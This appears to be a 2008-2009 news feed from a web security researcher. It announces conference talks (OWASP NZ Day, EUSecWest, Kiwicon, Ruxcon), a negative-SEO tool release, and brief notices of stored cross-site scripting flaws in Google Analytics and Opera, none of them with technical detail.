13/07/2009 - OWASP NZ Day has been a great event with more than 150 attendees, 7 talks, lot of drinks and fun! ;-) The presentations have been published online and are available for download. Key points of the day are covered in an excellent article of Kirk Jackson.

OWASP New Zealand Day 2009 - Speakers announcement

Mon, 08 Jun 2009 10:00:00 GMT
08/06/2009 - Speakers have been announced for the OWASP NZ Day 2009 conference! Also, more than one hundred of registered people attending! Great result! ;-)

EUSecWest 2009

Sun, 07 Jun 2009 10:00:00 GMT
07/06/2009 - Just came back from Europe, London, after been presenting at EUSecWest about "Exploiting Firefox Extensions" with Nick Freeman. It was a really cool conference with very good topics. Our presentation slides are online.

OWASP Testing Guide v3.0

Thu, 05 Mar 2000 10:00:00 GMT
05/03/2009 - OWASP Testing Guide v3.0 has been recently published. I partially contributed to it. For those interested, it is also available as a printed book from Lulu.

Google Analytics - Stored Cross Site Scripting

Mon, 08 Dec 2008 10:00:00 GMT
08/12/2008 - Google Analytics is vulnerable to Stored Cross Site Scripting. A malicious user is able to inject arbitrary browser content through web sites subscribed to the Google Analytics service.

sed v0.2

Tue, 25 Nov 2008 12:00:00 GMT
25/11/2008 - search engine de-optimisation tool update.

opera stored cross site scripting

Wed, 22 Oct 2008 10:00:00 GMT
22/10/2008 - Opera browser is vulnerable to stored Cross Site Scripting. A malicious attacker is able to inject arbitrary browser content through the websites visited with the Opera.

sed v0.1

Tue, 28 Oct 2008 12:00:00 GMT
28/09/2008 - search engine de-optimisation tool released.

Ruxcon 2008

Fri, 12 Sep 2008 12:00:00 GMT
12/09/2008 - I will also speaking at Ruxcon about negative SEO. Don't miss this talk if you can't make it at Kiwicon! ;-)

browser security

Sun, 07 Sep 2008 12:00:00 GMT
07/09/2008 - I have done some research in the area of browser security and presented this argument at the last OWASP NZ meeting.

Kiwicon 2008

Mon, 01 Sep 2008 12:00:00 GMT
01/09/2008 - I will be speaking at Kiwicon about negative SEO. Don't miss this talk if you love playing with search engines ;-) .